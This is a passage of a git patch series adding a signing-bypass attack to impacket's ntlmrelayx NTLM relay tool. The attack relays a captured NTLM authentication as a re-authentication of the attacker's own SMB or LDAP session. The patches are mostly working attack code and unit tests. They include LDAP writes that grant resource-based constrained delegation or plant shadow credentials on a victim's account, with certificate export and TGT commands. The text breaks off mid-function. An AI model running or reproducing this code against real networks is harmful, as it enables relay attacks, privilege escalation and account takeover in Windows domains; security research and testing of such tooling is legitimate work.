From de2a73ace76963bdbdf07df1b889fd4094201105 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Fri, 23 Oct 2026 15:42:14 +0200 Subject: [PATCH 1/6] Add SMB signing bypass to ntlmrelayx (cross-user re-authentication) --- examples/ntlmrelayx.py | 18 +++ .../ntlmrelayx/clients/smbrelayclient.py | 75 ++++++++- impacket/examples/ntlmrelayx/utils/config.py | 26 +++ tests/misc/test_ntlmrelayx_reauth_bypass.py | 149 ++++++++++++++++++ 4 files changed, 261 insertions(+), 7 deletions(-) create mode 100644 tests/misc/test_ntlmrelayx_reauth_bypass.py diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index ac40dfbcb1..291316dc0b 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -208,6 +208,7 @@ def start_servers(options, threads): c.setSMBRPCAttack(options.rpc_attack) c.setInterfaceIp(options.interface_ip) c.setExploitOptions(options.remove_mic, options.remove_target, options.remove_sign_seal) + c.setReauthBypassOptions(options.reauth_bypass, options.reauth_bypass_hashes) c.setWebDAVOptions(options.serve_image) c.setIsADCSAttack(options.adcs) c.setIsCESAttack(options.adcs_ces) @@ -368,6 +369,13 @@ def stop_servers(threads): help='Dump LSA secrets in addition to SAM hashes') smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') smboptions.add_argument('--rpc-attack', action='store', choices=[None, "TSCH", "ICPR"], required=False, default=None, help='Select the attack to perform over RPC over named pipes.') + smboptions.add_argument('--reauth-bypass', action='store', required=False, metavar='[domain/]username[:password]', + help='Defeat enforced SMB signing: open a session with this low-privilege account and ' + 'relay the captured authentication as a re-authentication of that session, which ' + 'the target keeps signing with our key (MS-SMB2 3.3.5.5.2). Needs -smb2support, ' + 'and is fixed on hosts updated since September 2026') + smboptions.add_argument('--reauth-bypass-hashes', action='store', required=False, metavar='LMHASH:NTHASH', + help='Hashes of the --reauth-bypass account, instead of its password') #RPC arguments rpcoptions = parser.add_argument_group("RPC client options") @@ -498,6 +506,16 @@ def stop_servers(threads): if options.https and options.certfile is None: parser.error('--https requires --certfile') + if options.reauth_bypass is None: + if options.reauth_bypass_hashes is not None: + parser.error('--reauth-bypass-hashes requires --reauth-bypass') + elif not options.smb2support: + parser.error('--reauth-bypass requires -smb2support') + elif options.socks: + parser.error('--reauth-bypass cannot be combined with -socks, the SOCKS server strips SMB signing') + elif options.remove_target: + parser.error('--reauth-bypass cannot be combined with -remove-target, which overwrites the session key') + if options.rpc_use_smb and not options.auth_smb: logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") sys.exit(1) diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 6afa5fb555..2431ab3835 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -39,8 +39,10 @@ from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \ SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \ SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ - SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response -from impacket.smbconnection import SMBConnection, SMB_DIALECT + SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response, \ + SMB2_NEGOTIATE_SIGNING_ENABLED, SMB2_SESSION_FLAG_ENCRYPT_DATA +from impacket.smbconnection import SMBConnection, SMB_DIALECT, SessionError +from impacket.nmb import NetBIOSError from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech from impacket.dcerpc.v5.transport import SMBTransport @@ -57,13 +59,17 @@ def neg_session(self, negPacket=None): return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) class MYSMB3(SMB3): - def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None): + def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None, allowSigning=False): self.extendedSecurity = extendedSecurity + self.allowSigning = allowSigning SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect) def negotiateSession(self, preferredDialect = None, negSessionResponse = None): - # We DON'T want to sign - self._Connection['ClientSecurityMode'] = 0 + # We DON'T want to sign, unless the signing bypass has to sign with a key of its own + if self.allowSigning is True: + self._Connection['ClientSecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED + else: + self._Connection['ClientSecurityMode'] = 0 if self.RequireMessageSigning is True: LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') @@ -106,7 +112,7 @@ def negotiateSession(self, preferredDialect = None, negSessionResponse = None): self._Connection['ServerGuid'] = negResp['ServerGuid'] self._Connection['GSSNegotiateToken'] = negResp['Buffer'] self._Connection['Dialect'] = negResp['DialectRevision'] - if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: + if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED and self.allowSigning is False: LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') return if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: @@ -292,8 +298,12 @@ def initConnection(self): if self.serverConfig.remove_target: preferredDialect = SMB2_DIALECT_21 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), - negPacket=packet, preferredDialect=preferredDialect) + negPacket=packet, preferredDialect=preferredDialect, + allowSigning=self.serverConfig.reauth_bypass) else: + if self.serverConfig.reauth_bypass: + LOG.error('The SMB signing bypass needs SMB2 or later, but the target negotiated SMBv1') + return False # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) @@ -301,11 +311,50 @@ def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, existingConnection=smbClient, manualNegotiate=True) + if self.serverConfig.reauth_bypass: + return self.openBaseSession() + + return True + + def openBaseSession(self): + # Base session whose key the relayed re-authentication keeps instead of deriving a new one (MS-SMB2 3.3.5.5.2) + v2client = self.session.getSMBServer() + # the server only hands out a signing key to a session that asked for signing + v2client._Connection['RequireSigning'] = True + try: + self.session.login(self.serverConfig.reauth_user, self.serverConfig.reauth_password, + self.serverConfig.reauth_domain, self.serverConfig.reauth_lmhash, + self.serverConfig.reauth_nthash) + except (SessionError, NetBIOSError, socketerror) as e: + LOG.error('SMB signing bypass: could not log in as %s\\%s: %s' % (self.serverConfig.reauth_domain, + self.serverConfig.reauth_user, e)) + self.killConnection() + return False + + if v2client._Session['SigningActivated'] is False: + LOG.error('SMB signing bypass: the target did not activate signing on our session, aborting') + self.killConnection() + return False + + # impacket encrypts as soon as the dialect allows it, which would hide the signed re-authentication + v2client._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA + LOG.info('SMB signing bypass: base session opened as %s\\%s' % (self.serverConfig.reauth_domain, + self.serverConfig.reauth_user)) + LOG.debug('SMB signing bypass: session id 0x%x, signing key %s' % ( + v2client._Session['SessionID'], + hexlify(v2client._Session['SigningKey'] or v2client._Session['SessionKey']).decode('utf-8'))) + return True def setUid(self,uid): self._uid = uid + def sessionSetupSecurityMode(self): + # a session setup asking for no signing at all would undo the signing bypass + if self.serverConfig.reauth_bypass: + return SMB2_NEGOTIATE_SIGNING_ENABLED + return 0 + def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) @@ -351,6 +400,7 @@ def sendNegotiatev2(self, negotiateMessage): sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 + sessionSetup['SecurityMode'] = self.sessionSetupSecurityMode() sessionSetup['SecurityBufferLength'] = len(negotiateMessage) sessionSetup['Buffer'] = negotiateMessage @@ -362,6 +412,9 @@ def sendNegotiatev2(self, negotiateMessage): packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): + if self.serverConfig.reauth_bypass and ans['SessionID'] != v2client._Session['SessionID']: + raise Exception('SMB signing bypass: the target opened a new session instead of ' + 're-authenticating ours, it keeps no signing key to borrow') v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) return sessionSetupResponse['Buffer'] @@ -539,6 +592,13 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): logging.info("Enabling session signing") self.session._SMBConnection.set_session_key(signingKey) + if self.serverConfig.reauth_bypass: + if errorCode == STATUS_SUCCESS: + LOG.info('SMB signing bypass: re-authentication accepted, the session keeps our signing key') + elif errorCode == STATUS_ACCESS_DENIED: + LOG.error('SMB signing bypass: re-authentication refused, the target enforces the same identity ' + 'on re-authentication') + return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): @@ -553,6 +613,7 @@ def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 + sessionSetup['SecurityMode'] = self.sessionSetupSecurityMode() packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 8cd0a113e2..16e69c4afc 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -68,6 +68,14 @@ def __init__(self): self.SMBServerChallenge = None self.rpc_attack = None + # SMB signing bypass options (cross-user re-authentication, MS-SMB2 3.3.5.5.2) + self.reauth_bypass = False + self.reauth_domain = '' + self.reauth_user = '' + self.reauth_password = '' + self.reauth_lmhash = '' + self.reauth_nthash = '' + # RPC options self.rpc_mode = None self.rpc_use_smb = False @@ -260,6 +268,24 @@ def setExploitOptions(self, remove_mic, remove_target, remove_sign_seal=False): self.remove_target = remove_target self.remove_sign_seal = remove_sign_seal + def setReauthBypassOptions(self, auth_reauth, hashes_reauth=None): + if not auth_reauth: + return + self.reauth_domain, self.reauth_user, self.reauth_password = parse_credentials(auth_reauth) + + if hashes_reauth is not None: + if hashes_reauth.count(':') != 1: + raise Exception("Hashes for the SMB signing bypass must be in LMHASH:NTHASH format") + self.reauth_lmhash, self.reauth_nthash = hashes_reauth.split(':') + + if self.reauth_user == '': + raise Exception("You must specify a username for the SMB signing bypass, " + "format is [domain/]username[:password]") + if self.reauth_password == '' and self.reauth_nthash == '': + raise Exception("You must specify a password or hashes for the SMB signing bypass account") + + self.reauth_bypass = True + def setHTTPS(self, https, certfile, keyfile): self.https = https self.certfile = certfile diff --git a/tests/misc/test_ntlmrelayx_reauth_bypass.py b/tests/misc/test_ntlmrelayx_reauth_bypass.py new file mode 100644 index 0000000000..92152d8bc2 --- /dev/null +++ b/tests/misc/test_ntlmrelayx_reauth_bypass.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest + +try: + from urllib.parse import urlparse +except ImportError: + from urlparse import urlparse + +from impacket.examples.ntlmrelayx.clients.smbrelayclient import MYSMB3, SMBRelayClient +from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig +from impacket.smb3 import SMB2Negotiate_Response, SMB2Packet, SMB3Packet, SMB2_DIALECT_30, \ + SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_NEGOTIATE_SIGNING_ENABLED, SMB2_NEGOTIATE_SIGNING_REQUIRED + + +class ReauthBypassConfigTests(unittest.TestCase): + def test_bypass_is_off_by_default(self): + config = NTLMRelayxConfig() + + self.assertFalse(config.reauth_bypass) + self.assertEqual(config.reauth_user, '') + + def test_no_credential_leaves_the_bypass_off(self): + config = NTLMRelayxConfig() + config.setReauthBypassOptions(None, None) + + self.assertFalse(config.reauth_bypass) + + def test_credential_with_domain_and_password(self): + config = NTLMRelayxConfig() + config.setReauthBypassOptions('AD.LOCAL/user1:Passw0rd1', None) + + self.assertTrue(config.reauth_bypass) + self.assertEqual(config.reauth_domain, 'AD.LOCAL') + self.assertEqual(config.reauth_user, 'user1') + self.assertEqual(config.reauth_password, 'Passw0rd1') + self.assertEqual(config.reauth_lmhash, '') + self.assertEqual(config.reauth_nthash, '') + + def test_credential_with_hashes_and_no_password(self): + config = NTLMRelayxConfig() + config.setReauthBypassOptions('AD.LOCAL/user1', 'aad3b435b51404eeaad3b435b51404ee:' + 'cf3a5525ee9414229e66279623ed5c58') + + self.assertTrue(config.reauth_bypass) + self.assertEqual(config.reauth_password, '') + self.assertEqual(config.reauth_lmhash, 'aad3b435b51404eeaad3b435b51404ee') + self.assertEqual(config.reauth_nthash, 'cf3a5525ee9414229e66279623ed5c58') + + def test_credential_without_domain(self): + config = NTLMRelayxConfig() + config.setReauthBypassOptions('user1:Passw0rd1', None) + + self.assertEqual(config.reauth_domain, '') + self.assertEqual(config.reauth_user, 'user1') + + def test_credential_without_username_is_rejected(self): + config = NTLMRelayxConfig() + + with self.assertRaises(Exception): + config.setReauthBypassOptions('AD.LOCAL/:Passw0rd1', None) + self.assertFalse(config.reauth_bypass) + + def test_credential_without_secret_is_rejected(self): + config = NTLMRelayxConfig() + + with self.assertRaises(Exception): + config.setReauthBypassOptions('AD.LOCAL/user1', None) + self.assertFalse(config.reauth_bypass) + + def test_malformed_hashes_are_rejected(self): + config = NTLMRelayxConfig() + + with self.assertRaises(Exception): + config.setReauthBypassOptions('AD.LOCAL/user1', 'cf3a5525ee9414229e66279623ed5c58') + self.assertFalse(config.reauth_bypass) + + +class ReauthBypassClientTests(unittest.TestCase): + @staticmethod + def signingRequiredNegotiateResponse(): + response = SMB2Negotiate_Response() + response['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED | SMB2_NEGOTIATE_SIGNING_REQUIRED + response['DialectRevision'] = SMB2_DIALECT_30 + response['ServerGuid'] = b'A' * 16 + response['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION + response['MaxTransactSize'] = 0x800000 + response['MaxReadSize'] = 0x800000 + response['MaxWriteSize'] = 0x800000 + response['Buffer'] = b'' + + packet = SMB2Packet() + packet['Data'] = response.getData() + return packet + + @staticmethod + def negotiatedClient(allowSigning): + # The negotiation only touches these two, so we can replay it without a socket + client = MYSMB3.__new__(MYSMB3) + client.allowSigning = allowSigning + client.RequireMessageSigning = False + client._Connection = {} + client.SMB_PACKET = SMB2Packet + return client + + @staticmethod + def relayClient(bypass): + config = NTLMRelayxConfig() + if bypass: + config.setReauthBypassOptions('AD.LOCAL/user1:Passw0rd1', None) + return SMBRelayClient(config, urlparse('smb://10.0.0.10')) + + def test_signing_required_target_is_refused_without_the_bypass(self): + client = self.negotiatedClient(allowSigning=False) + + client.negotiateSession(negSessionResponse=self.signingRequiredNegotiateResponse()) + + self.assertEqual(client._Connection['ClientSecurityMode'], 0) + self.assertNotIn('ServerSecurityMode', client._Connection) + self.assertIs(client.SMB_PACKET, SMB2Packet) + + def test_signing_required_target_is_negotiated_with_the_bypass(self): + client = self.negotiatedClient(allowSigning=True) + + client.negotiateSession(negSessionResponse=self.signingRequiredNegotiateResponse()) + + self.assertEqual(client._Connection['ClientSecurityMode'], SMB2_NEGOTIATE_SIGNING_ENABLED) + self.assertEqual(client._Connection['ServerSecurityMode'], + SMB2_NEGOTIATE_SIGNING_ENABLED | SMB2_NEGOTIATE_SIGNING_REQUIRED) + self.assertEqual(client._Connection['Dialect'], SMB2_DIALECT_30) + self.assertIs(client.SMB_PACKET, SMB3Packet) + + def test_session_setup_security_mode_follows_the_bypass(self): + self.assertEqual(self.relayClient(bypass=False).sessionSetupSecurityMode(), 0) + self.assertEqual(self.relayClient(bypass=True).sessionSetupSecurityMode(), + SMB2_NEGOTIATE_SIGNING_ENABLED) + + +if __name__ == '__main__': + unittest.main(verbosity=1) From e232f1120b26b49f7beccfaf1f575a88c793d3a1 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Sat, 24 Oct 2026 00:57:43 +0200 Subject: [PATCH 2/6] Add LDAP signing bypass to ntlmrelayx --- examples/ntlmrelayx.py | 23 +- .../ntlmrelayx/clients/ldaprelayclient.py | 383 +++++++++++++++++- .../ntlmrelayx/servers/smbrelayserver.py | 37 +- impacket/examples/ntlmrelayx/utils/config.py | 8 +- tests/misc/test_ntlmrelayx_reauth_bypass.py | 242 +++++++++++ 5 files changed, 680 insertions(+), 13 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 291316dc0b..f5f465bbdf 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -370,10 +370,12 @@ def stop_servers(threads): smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') smboptions.add_argument('--rpc-attack', action='store', choices=[None, "TSCH", "ICPR"], required=False, default=None, help='Select the attack to perform over RPC over named pipes.') smboptions.add_argument('--reauth-bypass', action='store', required=False, metavar='[domain/]username[:password]', - help='Defeat enforced SMB signing: open a session with this low-privilege account and ' - 'relay the captured authentication as a re-authentication of that session, which ' - 'the target keeps signing with our key (MS-SMB2 3.3.5.5.2). Needs -smb2support, ' - 'and is fixed on hosts updated since September 2026') + help='Defeat enforced signing: open a session with this low-privilege account and relay ' + 'the captured authentication under its signing key. Against an SMB target this is a ' + 're-authentication (MS-SMB2 3.3.5.5.2); against an ldap:// target it injects one ' + 'write chosen with the usual LDAP attack options (--delegate-access, ' + '--shadow-credentials). Needs -smb2support, and is fixed on hosts updated since ' + 'September 2026') smboptions.add_argument('--reauth-bypass-hashes', action='store', required=False, metavar='LMHASH:NTHASH', help='Hashes of the --reauth-bypass account, instead of its password') @@ -511,10 +513,19 @@ def stop_servers(threads): parser.error('--reauth-bypass-hashes requires --reauth-bypass') elif not options.smb2support: parser.error('--reauth-bypass requires -smb2support') - elif options.socks: - parser.error('--reauth-bypass cannot be combined with -socks, the SOCKS server strips SMB signing') elif options.remove_target: parser.error('--reauth-bypass cannot be combined with -remove-target, which overwrites the session key') + elif options.target is not None and options.target.lower().startswith('ldap'): + # The LDAP bypass is single-shot: one write from the existing attack options, no -i / -socks + if options.socks or options.interactive: + parser.error('--reauth-bypass against an LDAP target is single-shot; -i and -socks are not supported ' + '(the SASL seal key becomes the victim\'s after the bind)') + if not (options.delegate_access or options.shadow_credentials): + parser.error('--reauth-bypass against an LDAP target needs one write attack: ' + '--delegate-access or --shadow-credentials') + if options.remove_mic or options.remove_sign_seal: + parser.error('--reauth-bypass against an LDAP target forwards the victim mechListMIC, which ' + '-remove-mic / -remove-sign-seal strip') if options.rpc_use_smb and not options.auth_smb: logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index 07ce1faac5..e5b35c433c 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -20,10 +20,14 @@ # Alberto Solino (@agsolino) # import sys -from struct import unpack +import random +import string +import time +from struct import pack, unpack from impacket import LOG from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD from ldap3.operation import bind +from ldap3.utils.conv import escape_filter_chars try: from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED except ImportError: @@ -31,6 +35,11 @@ sys.exit(1) from impacket.examples.ntlmrelayx.clients import ProtocolClient +from impacket.examples.ntlmrelayx.utils import shadow_credentials +from impacket.ldap import ldaptypes +from impacket.ldap.ldap import LDAPConnection, LDAPSessionError, get_entry_values +from impacket.ldap.ldapasn1 import BindRequest, LDAPMessage, ModifyRequest, Operation, ResultCode, Scope +from impacket.nmb import NetBIOSError from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED from impacket.ntlm import ( NTLMAuthChallenge, @@ -42,8 +51,11 @@ NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, + NTLMSSP_NEGOTIATE_UNICODE, NTLMSSP_NEGOTIATE_VERSION) -from impacket.spnego import SPNEGO_NegTokenResp +from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech +from pyasn1.codec.ber import decoder, encoder +from pyasn1.error import PyAsn1Error PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] @@ -60,19 +72,37 @@ def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True self.negotiateMessage = None self.authenticateMessageBlob = None self.server = None + self.bypassConnection = None + self.baseDN = None + self.targetDN = None + self.targetSam = None + self.shadowKeyCert = None + self.confirmValue = None def killConnection(self): + if self.bypassConnection is not None: + try: + self.bypassConnection.close() + except (LDAPSessionError, NetBIOSError, OSError) as e: + LOG.debug('LDAP signing bypass: closing the base session failed: %s' % e) + self.bypassConnection = None + self.session = None + return if self.session is not None: self.session.socket.close() self.session = None def initConnection(self): + if self.serverConfig.reauth_bypass: + return self.bypassInitConnection() self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) self.session = Connection(self.server, user="a", password="b", authentication=NTLM) self.session.open(False) return True def sendNegotiate(self, negotiateMessage): + if self.serverConfig.reauth_bypass: + return self.bypassSendNegotiate(negotiateMessage) negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) @@ -125,6 +155,8 @@ def create_negotiate_message(self): return self.negotiateMessage def sendAuth(self, authenticateMessageBlob, serverChallenge=None): + if self.serverConfig.reauth_bypass: + return self.bypassSendAuth(authenticateMessageBlob) if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) if respToken2.isNegoExSelected(): @@ -186,12 +218,357 @@ def parse_challenge_message(self, message): pass def keepAlive(self): + if self.serverConfig.reauth_bypass: + # The bypass does its single operation in sendAuth and then tears down + return # Basic LDAP query to keep the connection alive self.session.search(search_base='', search_filter='(objectClass=*)', search_scope='BASE', attributes=['namingContexts']) + # LDAP signing bypass: the relayed bind and one write share a SASL record sealed with our key, so the DC runs the write as the victim; single-shot since the seal key becomes the victim's afterwards + SUPPORTED_BYPASS_ATTACKS = ('--delegate-access', '--shadow-credentials') + + def bypassSelectedAttack(self): + # Reuse the existing LDAP attack options; exactly one write attack must be selected + selected = [] + if self.serverConfig.delegateaccess: + selected.append('rbcd') + if self.serverConfig.IsShadowCredentialsAttack: + selected.append('shadow') + return selected[0] if len(selected) == 1 else None + + def bypassBuildWrite(self): + # (attribute, [values], operation) of the ModifyRequest executed as the relayed victim + if self.bypassSelectedAttack() == 'rbcd': + return self.bypassRbcdWrite() + return self.bypassShadowWrite() + + def bypassRbcdWrite(self): + # Grant RBCD on the victim's own object to the account we control, appending to any existing ACEs + # Imported here only: ldapattack pulls ldapdomaindump and dnspython into the client's import path + from impacket.examples.ntlmrelayx.attacks.ldapattack import create_allow_ace, create_empty_sd + if not self.serverConfig.escalateuser: + raise LDAPRelayClientException('--delegate-access needs --escalate-user (an account) or --escalate-user with --sid') + if self.serverConfig.sid: + escalate_sid = self.serverConfig.escalateuser + else: + escalate_sid = self.bypassResolveSid(self.serverConfig.escalateuser) + if not escalate_sid: + raise LDAPRelayClientException('could not resolve --escalate-user %s to a SID' % self.serverConfig.escalateuser) + + existing = self.bypassReadAttribute(self.targetDN, 'msDS-AllowedToActOnBehalfOfOtherIdentity') + if existing: + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=existing[0]) + LOG.debug('Currently allowed sids:') + for ace in sd['Dacl'].aces: + LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) + else: + sd = create_empty_sd() + sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) + self.confirmValue = sd.getData() + return 'msDS-AllowedToActOnBehalfOfOtherIdentity', [sd.getData()], Operation('replace') + + def bypassShadowWrite(self): + # Mirror the classic attack: read current KeyCredentials as our account, then REPLACE with the new set + LOG.info("Generating certificate") + key, certificate = shadow_credentials.createSelfSignedX509Certificate(subject=self.targetSam) + LOG.info("Certificate generated") + LOG.info("Generating KeyCredential") + keyCredential = shadow_credentials.KeyCredential(key, deviceId=shadow_credentials.getDeviceId(), + currentTime=shadow_credentials.getTicksNow()) + ours = shadow_credentials.toDNWithBinary2String(keyCredential.dumpBinary(), self.targetDN).encode('utf-8') + + existing = self.bypassReadAttribute(self.targetDN, 'msDS-KeyCredentialLink') + LOG.info('Found %d existing KeyCredential(s) on target object' % len(existing)) + if self.serverConfig.ShadowCredentialsReplace: + if existing: + count, backup_path = shadow_credentials.backupKeyCredentialsToJSON( + self.targetSam, existing, self.serverConfig.ShadowCredentialsBackupPath) + LOG.info('Exported %d existing KeyCredential(s) to %s' % (count, backup_path)) + new_values = [ours] + else: + # A machine account may only hold one self-added key, so --shadow-replace is often required + new_values = existing + [ours] + # Export only once the DC accepts the write, so a refused Modify leaves no misleading PFX + self.shadowKeyCert = (key, certificate) + self.confirmValue = ours + return 'msDS-KeyCredentialLink', new_values, Operation('replace') + + def bypassAnnounceSuccess(self): + # Post-write messages mirroring the classic attacks, printed only once the Modify is accepted + if self.serverConfig.delegateaccess: + LOG.info('Delegation rights modified succesfully!') + LOG.info('%s can now impersonate users on %s via S4U2Proxy', self.serverConfig.escalateuser, self.targetSam) + elif self.shadowKeyCert is not None: + self.bypassSaveShadowCredential() + + def bypassSaveShadowCredential(self): + key, certificate = self.shadowKeyCert + if self.serverConfig.ShadowCredentialsOutfilePath is None: + path = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + LOG.debug("No outfile path was provided. The certificate(s) will be store with the filename: %s" % path) + else: + path = self.serverConfig.ShadowCredentialsOutfilePath + domain = '.'.join([part.split('=', 1)[1] for part in self.baseDN.split(',') if part.lower().startswith('dc=')]) + + if self.serverConfig.ShadowCredentialsExportType == "PEM": + shadow_credentials.exportPEM(certificate, key, path_to_files=path) + LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem") + LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem") + LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") + LOG.info("Run the following command to obtain a TGT") + LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccache" % (path, path, domain, self.targetSam, path)) + else: + if self.serverConfig.ShadowCredentialsPFXPassword is None: + password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20)) + LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password) + else: + password = self.serverConfig.ShadowCredentialsPFXPassword + shadow_credentials.exportPFX(certificate, key, password=password, path_to_file=path) + LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx") + LOG.info("Must be used with password: %s" % password) + LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") + LOG.info("Run the following command to obtain a TGT") + LOG.info("python3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache" % (path, password, domain, self.targetSam, path)) + + def bypassOpenSession(self): + # A signed LDAP session as our own account, used for the base session and the read-back + connection = LDAPConnection('ldap://%s' % self.targetHost, dstIp=self.targetHost, signing=True, timeout=10) + connection.login(self.serverConfig.reauth_user, self.serverConfig.reauth_password, + self.serverConfig.reauth_domain, self.serverConfig.reauth_lmhash, + self.serverConfig.reauth_nthash, authenticationChoice='sasl') + return connection + + def bypassResolveBaseDN(self): + entries = self.bypassConnection.search(searchBase='', scope=Scope('baseObject'), + searchFilter='(objectClass=*)', + attributes=['defaultNamingContext']) + for entry in entries: + values = get_entry_values(entry, 'defaultNamingContext') + if values: + return bytes(values[0]).decode('utf-8') + raise LDAPRelayClientException('could not read defaultNamingContext from the DC') + + def bypassLookup(self, samaccountname, attributes): + entries = self.bypassConnection.search(searchBase=self.baseDN, scope=Scope('wholeSubtree'), + searchFilter='(sAMAccountName=%s)' % escape_filter_chars(samaccountname), + 